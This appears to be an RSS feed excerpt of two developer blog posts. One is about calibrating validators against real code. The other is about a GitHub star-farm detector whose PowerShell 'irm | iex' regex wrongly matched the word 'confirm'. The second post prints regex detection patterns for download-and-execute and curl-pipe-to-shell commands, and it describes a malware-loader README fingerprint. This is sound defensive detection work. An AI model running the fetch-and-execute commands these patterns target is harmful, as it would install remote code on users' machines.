Not fixtures — files I did not author. If my scanner's top severity fires on code that a maintainer would call fine, the scanner is wrong, full stop. Here's this morning's reading on the 17-file cron corpus (63 schedule entries across crontab, GHA, systemd, JSON):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;扫描: 17 文件 / 63 条目
      (crontab=27, gha_schedule=3, json_job=23, systemd_service=6, systemd_timer=4)
问题: HIGH=0 MEDIUM=28 LOW=19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;HIGH=0&lt;/code&gt; is the gate. The 28 MEDIUMs are acceptable &lt;em&gt;only&lt;/em&gt; because check #2 passes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Every &lt;code&gt;MEDIUM&lt;/code&gt; collapses into one explainable rule class.&lt;/strong&gt;&lt;br&gt;
MEDIUMs are threshold judgements, and thresholds are where noise lives. If MEDIUMs smear across six rule ids, the thresholds are wrong even though nothing is "failing." Here's the histogram from the same run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CRN005  fires &amp;gt;=48x/day with no mutual exclusion      11   MEDIUM
CRN006  `cd dir; cmd` — semicolon, not &amp;amp;&amp;amp;               10   MEDIUM
CRN007  "* * * * *" / "*/1" almost always a typo         4   MEDIUM
CRN010  schedule still runs, command is commented out    3   MEDIUM
CRN013  no output redirection                       17   LOW
CRN015  timer without Persistent=true                2   LOW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;11 + 10 + 4 + 3 = 28. Four rule classes, and they share one theme: &lt;strong&gt;the line says one thing and does another.&lt;/strong&gt; It fires too often to finish, it runs in the wrong directory, its frequency is a typo, its command is commented out. The 19 LOWs are a second theme — failure that nobody sees (no redirect, no catch-up after a missed window).&lt;/p&gt;

&lt;p&gt;That is a calibrated scanner: it says one thing per severity band, consistently, and a user can decide in one read whether that thing applies to them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Zero input gets its own exit code.&lt;/strong&gt;&lt;br&gt;
I had a real bug where a review tool, handed a path that did not exist, printed &lt;code&gt;files scanned: 0&lt;/code&gt; / &lt;code&gt;health: 100/100&lt;/code&gt; / &lt;code&gt;exit 0&lt;/code&gt;. Green light for never having looked. Now: no input is &lt;code&gt;NO_INPUT&lt;/code&gt;, exit code 3, and it is not a pass.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"No input" is not "clean input." If your gate cannot fail, it is not a gate.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The cron validator says it plainly on an empty path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;verdict=NO_INPUT
结论: 这些路径里没有任何可识别的调度条目。"没输入"不等于"输入干净"，退出码 3。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Three more false positives I had to buy back
&lt;/h2&gt;

&lt;p&gt;These all landed as HIGH on real code before I fixed them, and all three are the same species of error: &lt;strong&gt;the scanner mistaking "I don't recognize this" for "you did this wrong."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unknown licenses are unknown, not violations.&lt;/strong&gt; Scanning ~1.9k dependency entries, valid SPDX identifiers I simply had not put in my table — &lt;code&gt;OFL-1.1&lt;/code&gt;, &lt;code&gt;BlueOak-1.0.0&lt;/code&gt; — came back as license violations. Fix: unknown IDs pass silently and increment a separate &lt;code&gt;unknown_id&lt;/code&gt; counter. A counter that goes up is a signal to add data; a HIGH is a signal that someone's build is broken. They must not share a channel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GPLv3 §13 mentions "Affero," so GPLv3 was flagged as AGPL.&lt;/strong&gt; Two different licenses with very different obligations. Fix: classify on the first heading line only, not on a substring window over the whole text. Corollary: the standard Apache/GPL appendices contain &lt;code&gt;&amp;lt;year&amp;gt;&lt;/code&gt; and &lt;code&gt;[yyyy]&lt;/code&gt; placeholders — stop scanning past the first ~1200 characters or every second repo is "an unfilled template."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;all.json&lt;/code&gt;, &lt;code&gt;pdf.json&lt;/code&gt; and &lt;code&gt;res.json&lt;/code&gt; are not language packs.&lt;/strong&gt; My i18n validator identified locale files by "filename looks like a language tag," so every generic JSON file in a &lt;code&gt;locales/&lt;/code&gt;-adjacent folder qualified. On a real repository that produced 50 fake HIGH findings. Fix: validate the code itself against the ISO 639-1 list (184 codes) plus 639-2, and only then decide the file is a language pack. Filename shape is a hint; the standard is the oracle.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same disease, non-code edition
&lt;/h2&gt;

&lt;p&gt;I once shipped a "shape gate": reject a post if it is too short or too templated. On a 600-post corpus it fired 7 times. Hand-auditing those 7, one was a legitimate post whose title carried the content, five were tests, one was genuinely malformed.&lt;/p&gt;

&lt;p&gt;Precision: 1/7 ≈ 14%. Ninety percent of the tax landed on cold-start users who had done nothing wrong, and the only thing the gate reliably caught was people testing the gate.&lt;/p&gt;

&lt;p&gt;Gate on &lt;strong&gt;recomputability&lt;/strong&gt;, not on shape. "Can a second party reproduce this claim from the sources provided" is checkable and cheap to argue about. "This is shorter than 40 characters" is a proxy that mostly measures who arrived five minutes ago.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist for anyone building validators that an agent will run
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Gate on a corpus you didn't author.&lt;/strong&gt; Fixture precision is not a measurement; it is a rehearsal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;HIGH = 0&lt;/code&gt; on real code, or don't ship.&lt;/strong&gt; If it cries wolf on r/real, the fix is the rule, never the user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One MEDIUM class, max.&lt;/strong&gt; Threshold noise that scatters across rules is unactionable even when every individual finding is defensible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unknown ≠ invalid.&lt;/strong&gt; Separate counters for "I don't recognize this" and "this is wrong." Never the same severity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No input gets its own exit code.&lt;/strong&gt; A validator that cannot fail is decoration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ship &lt;code&gt;selftest&lt;/code&gt; in the package&lt;/strong&gt;, and make the gate require &lt;code&gt;selftest&lt;/code&gt; to exit non-zero &lt;em&gt;and&lt;/em&gt; require a "work was actually done" assertion (&lt;code&gt;files_scanned &amp;gt; 0&lt;/code&gt;), not just a green exit.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Restated in one line: a rule's precision is a property of the corpus you measured it on, and the corpus that matters is the one belonging to someone who will uninstall you if you're wrong.&lt;/p&gt;




&lt;p&gt;The probes and the fuller write-ups (clock calibration, partial-batch safety, publish-path fallbacks, dead-gate audits) live in &lt;strong&gt;github.com/Felixwang007/awesome-content-tools&lt;/strong&gt; — &lt;code&gt;tools/&lt;/code&gt; has the runnable versions with &lt;code&gt;selftest&lt;/code&gt; subcommands.&lt;/p&gt;

&lt;p&gt;The packaged versions of the validators themselves (cron reliability, license compliance, i18n, tool schemas, and ~26 more) are on &lt;strong&gt;xiaping.coze.com&lt;/strong&gt; under my handle, free to run.&lt;/p&gt;

&lt;p&gt;If you've shipped a linter that turned out to be 0% accurate off its home turf, I'd like to hear what class of false positive you had to buy back — that taxonomy is the useful artifact, not the rule count.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My Star-Farm Detector Flagged 7 of 40 Trending Repos. All 7 Matched the Word "confirm".</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 29 Oct 2026 12:57:41 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-star-farm-detector-flagged-7-of-40-trending-repos-all-7-matched-the-word-confirm-1n3o</link>
      <guid>https://dev.to/felixwang007/my-star-farm-detector-flagged-7-of-40-trending-repos-all-7-matched-the-word-confirm-1n3o</guid>
      <description>&lt;p&gt;I run a small weekly audit over the newest, fastest-starred repos on GitHub. This week the README probe came back with 7 hits out of 40: repos whose README, according to my own pattern, told you to pipe a remote PowerShell script into memory.&lt;/p&gt;

&lt;p&gt;All seven were the word &lt;strong&gt;"confirm"&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That is the most useful result the probe has produced in a month, and it is worth writing down properly, because the failure has two layers: a broken regex, and a detection signature that rotted in three weeks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pipeline, in one paragraph
&lt;/h2&gt;

&lt;p&gt;Three independent probes over the same sample:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;metadata&lt;/strong&gt; — stars, forks, repo size, &lt;code&gt;created_at&lt;/code&gt; → &lt;code&gt;pushed_at&lt;/code&gt; lag, license, root tree entry count.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;readme&lt;/strong&gt; — fetch &lt;code&gt;/repos/{r}/readme&lt;/code&gt;, decode base64, match against installer-pattern regexes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;events&lt;/strong&gt; — pull &lt;code&gt;/repos/{r}/events&lt;/code&gt;, keep &lt;code&gt;WatchEvent&lt;/code&gt; timestamps, bucket them at 1 and 5 minutes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;They are supposed to disagree. When they all agree on a repo, that repo is either obviously farmed or obviously fine. When only one fires, the probe is usually the thing that is broken.&lt;/p&gt;

&lt;p&gt;Sample for today: &lt;code&gt;q=created:&amp;gt;2026-10-21, sort=stars, per_page=40&lt;/code&gt;. Forty repos created in the last eight days, smallest one in the set at 440 stars.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 1: the bug — &lt;code&gt;irm\s+&lt;/code&gt; matches "conf*&lt;em&gt;irm *&lt;/em&gt;"
&lt;/h2&gt;

&lt;p&gt;The pattern was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;NAIVE_PS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;irm\s+|iex\s*\(|Invoke-Expression|Invoke-WebRequest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;irm&lt;/code&gt; is the PowerShell alias for &lt;code&gt;Invoke-RestMethod&lt;/code&gt;, and &lt;code&gt;irm &amp;lt;url&amp;gt; | iex&lt;/code&gt; is the canonical ClickFix-style loader. So &lt;code&gt;irm\s+&lt;/code&gt; looks right. It is not: there is no left word boundary, so every occurrence of &lt;em&gt;confirm&lt;/em&gt;, &lt;em&gt;affirm&lt;/em&gt;, &lt;em&gt;firm&lt;/em&gt; followed by a space registers as a download-and-execute.&lt;/p&gt;

&lt;p&gt;Here is what the seven hits actually were, verbatim from the READMEs:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;repo&lt;/th&gt;
&lt;th&gt;text the regex matched&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;interplains/Zero-Breach-Toolkit&lt;/td&gt;
&lt;td&gt;"On the phone, &lt;strong&gt;confirm&lt;/strong&gt; the backup with…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;andyhuo520/digital-human-koubo&lt;/td&gt;
&lt;td&gt;"Always &lt;strong&gt;confirm&lt;/strong&gt; with the agent's live quote"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;yaojingang/GEOInflow&lt;/td&gt;
&lt;td&gt;"insufficient to &lt;strong&gt;confirm&lt;/strong&gt; a source"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;anonnerdfrenzy/survival-llm&lt;/td&gt;
&lt;td&gt;"Open Anyway, and &lt;strong&gt;confirm&lt;/strong&gt; with your password"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;man15h/tellyscope&lt;/td&gt;
&lt;td&gt;"the &lt;strong&gt;confirm&lt;/strong&gt; says Google TV Home"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;deepopen-com/deepopen-3d-webs&lt;/td&gt;
&lt;td&gt;"&lt;strong&gt;confirm&lt;/strong&gt; the run mode and free disk space"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;huaxialucaicaizi/ai-startup-skills&lt;/td&gt;
&lt;td&gt;"open the original to &lt;strong&gt;confirm&lt;/strong&gt; the latest version"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Seven false positives, zero true positives: a 100% error rate dressed up as a 17.5% detection rate. A README telling a user to &lt;em&gt;confirm&lt;/em&gt; something is the most common sentence in software.&lt;/p&gt;

&lt;p&gt;The fix is word boundaries on both sides, not just the right:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;PS_DOWNLOAD_EXEC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;![\w-])(irm|iex|Invoke-Expression|Invoke-WebRequest)(?![\w-])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;CURL_PIPE_SHELL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?&amp;lt;![\w-])curl\b[^\n|]{0,120}\|\s*(?:sudo\s+)?(?:bash|sh|zsh)\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Corrected counts on the same 40 repos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PowerShell download-and-execute: &lt;strong&gt;0&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;curl … | bash&lt;/code&gt;/&lt;code&gt;sh&lt;/code&gt;/&lt;code&gt;zsh&lt;/code&gt;: &lt;strong&gt;1&lt;/strong&gt; (&lt;code&gt;mizorewww/gdirect&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;wget … | sh&lt;/code&gt;: &lt;strong&gt;0&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;"disable real-time protection" instructions (EN or 中文): &lt;strong&gt;0&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One line of the report flipped from "7 repos want to run remote code" to "1 repo documents a pipe-to-shell install". Same data, same repo list, honest answer.&lt;/p&gt;

&lt;p&gt;The lesson generalizes past regexes: &lt;strong&gt;a detector that has never fired on a control case is untested, not clean.&lt;/strong&gt; My own selftest suite now carries the prose-&lt;code&gt;confirm&lt;/code&gt; sentence as a permanent regression case, alongside &lt;code&gt;affirm&lt;/code&gt;, &lt;code&gt;a firm handshake&lt;/code&gt;, a real &lt;code&gt;powershell -w h irm … | iex&lt;/code&gt;, and a real &lt;code&gt;Invoke-WebRequest&lt;/code&gt;. Ten assertions, and the naive pattern is kept in the file on purpose so the test proves the bug still exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Layer 2: the signature I published three weeks ago is gone
&lt;/h2&gt;

&lt;p&gt;On 2026-10-05 I wrote up a cluster of repos that were being farmed into the trending list. The fingerprint then was structural and crude:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;0 forks on a repo with hundreds of stars&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;created_at&lt;/code&gt; → &lt;code&gt;pushed_at&lt;/code&gt; under 5 seconds&lt;/li&gt;
&lt;li&gt;a single &lt;code&gt;README.md&lt;/code&gt; and nothing else, no license, no releases&lt;/li&gt;
&lt;li&gt;a README ending in &lt;code&gt;irm | iex&lt;/code&gt; plus instructions to turn off real-time protection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is that same fingerprint re-measured today over 40 repos:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;flag (on repos with ≥300 stars)&lt;/th&gt;
&lt;th&gt;2026-10-05&lt;/th&gt;
&lt;th&gt;2026-10-29&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;forks == 0&lt;/td&gt;
&lt;td&gt;4 of top 10&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0 of 40&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;created → pushed ≤ 10s&lt;/td&gt;
&lt;td&gt;several&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;created → pushed ≤ 60s&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;root tree entries ≤ 2&lt;/td&gt;
&lt;td&gt;several&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;irm&lt;/code&gt;/&lt;code&gt;iex&lt;/code&gt; in README&lt;/td&gt;
&lt;td&gt;multiple&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;(The two ≤2-entry repos today are &lt;code&gt;unclebob/ub-mode&lt;/code&gt;, ★4,255 with a 2.1 KB README and 233 forks — a well-known author writing a manifesto in a text file — and &lt;code&gt;KillaBoi/StealMyBitcoin-PoC&lt;/code&gt;, ★991, 146 forks, a security PoC. Neither looks farmed; small tree + big stars is not sufficient on its own.)&lt;/p&gt;

&lt;p&gt;So: a signature that was 40% of the top ten three weeks ago produces &lt;strong&gt;zero&lt;/strong&gt; hits in a 4x larger sample today. Either the campaign stopped, or it learned the shape of the fingerprint and started producing repos that look structurally normal. I cannot distinguish those two from outside, and it would be dishonest to claim I can. What I &lt;em&gt;can&lt;/em&gt; say is that any trending list ranked by star totals, filtered by a published metadata heuristic, is one adaptation cycle away from showing nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What replaced it, in today's sample
&lt;/h2&gt;

&lt;p&gt;Two shapes did show up, and neither is a payload signature:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Forks outrunning stars.&lt;/strong&gt; &lt;code&gt;zgx949/ai-pojia&lt;/code&gt;: ★440, &lt;strong&gt;587 forks&lt;/strong&gt;. Normally forks are 3–20% of stars; ratio 0.75 is the copy outrunning the original — the pattern you see when a repo gets re-uploaded or mirrored and traffic lands on the mirror. It is not proof of malice (it can also be a fork-and-translate, or a repo people fork to configure), but it is a structure worth opening.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Self-referential domain density.&lt;/strong&gt; One README (&lt;code&gt;smithjohn78390/tongjiang-lab&lt;/code&gt;) repeats the single host &lt;code&gt;lab.tongjiang.app&lt;/code&gt; &lt;strong&gt;112 times&lt;/strong&gt;. For comparison, across all 40 READMEs &lt;code&gt;github.com&lt;/code&gt; appears 204 times — i.e. one project writes its own domain more than half as often as all 40 write GitHub's. That is a README built as a traffic funnel, not as documentation. Counting per-host link density is cheap and it does not care whether the stars are real.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Star arrival shape&lt;/strong&gt; — the only signal here that costs the attacker real time, because it needs aged accounts acting out of pattern:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;repo&lt;/th&gt;
&lt;th&gt;WatchEvents&lt;/th&gt;
&lt;th&gt;span&lt;/th&gt;
&lt;th&gt;peak/min&lt;/th&gt;
&lt;th&gt;peak 5-min share&lt;/th&gt;
&lt;th&gt;gaps &amp;gt;1h&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;deepopen-com/deepopen-3d-webs&lt;/td&gt;
&lt;td&gt;290&lt;/td&gt;
&lt;td&gt;44.9h&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7.6%&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;unclebob/ub-mode&lt;/td&gt;
&lt;td&gt;283&lt;/td&gt;
&lt;td&gt;6.5h&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;4.2%&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZiChuanLan/agent-purge&lt;/td&gt;
&lt;td&gt;168&lt;/td&gt;
&lt;td&gt;25.8h&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;3.0%&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;songjianyang/xss-audit&lt;/td&gt;
&lt;td&gt;233&lt;/td&gt;
&lt;td&gt;97.9h&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;2.6%&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;zgx949/ai-pojia&lt;/td&gt;
&lt;td&gt;130&lt;/td&gt;
&lt;td&gt;46.3h&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2.3%&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Motionsites-AI/claude-skill&lt;/td&gt;
&lt;td&gt;270&lt;/td&gt;
&lt;td&gt;22.3h&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.9%&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;assetnote/php2shell-scanner&lt;/td&gt;
&lt;td&gt;272&lt;/td&gt;
&lt;td&gt;107.1h&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.8%&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KillaBoi/StealMyBitcoin-PoC&lt;/td&gt;
&lt;td&gt;249&lt;/td&gt;
&lt;td&gt;66.6h&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.6%&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;t3dotgg/tstack&lt;/td&gt;
&lt;td&gt;271&lt;/td&gt;
&lt;td&gt;30.8h&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1.5%&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;For scale: on 2026-10-14 one repo took &lt;strong&gt;22 + 20 + 4 stars inside three consecutive minutes&lt;/strong&gt;. Today the densest 5-minute bucket in this sample is 7.6% of a repo's sampled stars, and even the outlier still has 7 one-hour gaps in 45 hours. Nothing today is injected in bursts; the sample looks like ordinary spread-out growth. That is a real reading, and it is also the reason the article is about a false positive instead of a takedown.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I changed in the pipeline
&lt;/h2&gt;

&lt;p&gt;Concretely, four edits — the kind that keep working after the signature you published stops working:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Rank by shape, not by totals.&lt;/strong&gt; The list is sorted by stars; the &lt;em&gt;flag&lt;/em&gt; is &lt;code&gt;peak_5min_share&lt;/code&gt; and &lt;code&gt;gaps &amp;gt; 1h&lt;/code&gt;. Totals are the thing being farmed; the distribution of arrivals is not free to fake.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ship both regexes.&lt;/strong&gt; Keep the naive one next to the corrected one and assert that it still produces the known false positive. A pattern whose failure mode is not in your test suite will eventually be your report.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Store a baseline every run.&lt;/strong&gt; Today's "0 hits" only means something against a written "4 of 10" from three weeks ago. Numbers without a previous number are decoration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer rules that describe intent over rules that describe syntax.&lt;/strong&gt; "Does the README ask the user to execute something fetched at runtime?" survives rephrasing. "Does the README contain &lt;code&gt;irm&lt;/code&gt;?" does not survive the next alias.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The tool and the raw numbers
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;scripts/star_farm_probe.py&lt;/code&gt; in my trending aggregator repo — three modes (&lt;code&gt;metadata&lt;/code&gt;, &lt;code&gt;readme&lt;/code&gt;, &lt;code&gt;events&lt;/code&gt;) plus &lt;code&gt;selftest&lt;/code&gt;, no dependencies beyond an authenticated &lt;code&gt;gh&lt;/code&gt; CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python star_farm_probe.py selftest                       &lt;span class="c"&gt;# 10/10, includes the 'confirm' regression&lt;/span&gt;
python star_farm_probe.py readme &lt;span class="nt"&gt;--days&lt;/span&gt; 8 &lt;span class="nt"&gt;--top&lt;/span&gt; 40       &lt;span class="c"&gt;# naive vs corrected, side by side&lt;/span&gt;
python star_farm_probe.py events &lt;span class="nt"&gt;--repos&lt;/span&gt; a/b c/d         &lt;span class="c"&gt;# arrival shape&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every number in this post is in &lt;code&gt;scripts/results/star_farm_2026-10-29.json&lt;/code&gt; next to it, including the caveats:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/events&lt;/code&gt; only exposes the last ~300 events, so arrival shape is a rolling window, not full history.&lt;/li&gt;
&lt;li&gt;Forks are as fakeable as stars; &lt;code&gt;forks &amp;gt; stars&lt;/code&gt; is a lead, not a verdict.&lt;/li&gt;
&lt;li&gt;Stars can be bought slowly with real accounts, and no shape probe above catches that.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Absence of a signature is not evidence of legitimacy.&lt;/strong&gt; Today's zero is the weakest kind of reading.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you maintain a trending/digest pipeline, the one thing I would take from this: publish the sample size and one control false positive along with any "N suspicious repos" claim. Otherwise you are shipping a number nobody — including you — can audit.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Probe + readings: &lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;github.com/Felixwang007/github-daily-trending&lt;/a&gt; (&lt;code&gt;scripts/star_farm_probe.py&lt;/code&gt;, &lt;code&gt;scripts/results/star_farm_2026-10-29.json&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The aggregator that runs it: zero-API GitHub Actions + Pages pipeline, rebuilds every 6 hours&lt;/li&gt;
